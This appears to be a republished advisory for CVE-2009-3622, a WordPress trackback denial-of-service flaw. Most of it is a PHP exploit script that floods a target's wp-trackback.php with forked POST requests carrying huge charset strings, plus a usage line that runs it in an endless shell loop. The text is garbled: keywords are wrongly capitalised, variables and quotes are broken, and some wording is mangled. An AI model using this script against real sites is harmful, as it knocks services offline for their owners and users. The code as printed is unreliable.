WordPress & amp; lt; 2.8.5 Trackback script DoS Vulnerability

Affected Versions:
WordPress <2.8.5 vulnerability description:
Cve id: CVE-2009-3622

WordPress is a free forum Blog system.

WordPress's wp-trackback.php script allows users to submit multiple source character encodings to the mb_convert_encoding () function. A remote attacker can occupy a large amount of CPU resources if the submitted HTTP request contains character set parameters consisting of a long header parameter and a comma-separated UTF-8 substring.

Code:
<? Php
/*
* Wordpress Resource exhaustion Exploit
* Http://rooibo.wordpress.com/
* Security@wordpress.org contacted and get a response,
* But no solution available.
*
* [18/10/2009 20:31:00] modified by Zerialhttp: // blog.zerial.org <panic@zerial.org>
*
* Exploiting:
* You must install php-cli (command line interface)
* $ While/bin/true; do php wp-trackbacks_dos.phphttp: // target.com/wordpress; done
*
*/
If (count ($ argv) <2)
Die ("You need to specify a url to attack ");
$ Url = $ argv [1];
$ Data = parse_url ($ url );
If (count ($ data) <2)
Die ("The url shocould have http: // in front of it, and shocould be complete .");
$ Path = (count ($ data) = 2 )? "": $ Data [path];
$ Path = trim ($ path,/)./wp-trackback.php;
If ($ path {0 }! = /)
$ Path =/. $ path;
$ B = ""; $ B = str_pad ($ B, 140000, ABCEDFG). utf8_encode ($ B );
$ Charset = "";
$ Charset = str_pad ($ charset, 140000, "UTF-8 ,");
$ Str = charset =. urlencode ($ charset );
$ Str. = & url = www.example.com;
$ Str. = & title =. $ B;
$ Str. = & blog_name = lol;
$ Str. = & excerpt = lol;
For ($ n = 0; $ n <= 5; $ n ++ ){
$ Fp = @ fsockopen ($ data [host], 80 );
If (! $ Fp)
Die ("unable to connect to:". $ data [host]. "");
$ Pid [$ n] = pcntl_fork ();
If (! $ Pid [$ n]) {
Fputs ($ fp, "POST $ path HTTP/1.1 ");
Fputs ($ fp, "Host:". $ data [host]. "");
Fputs ($ fp, "Content-type: application/x-www-form-urlencoded ");
Fputs ($ fp, "Content-length:". strlen ($ str )."");
Fputs ($ fp, "Connection: close ");
Fputs ($ fp, $ str ."");
Echo "hit! ";
}
}
?>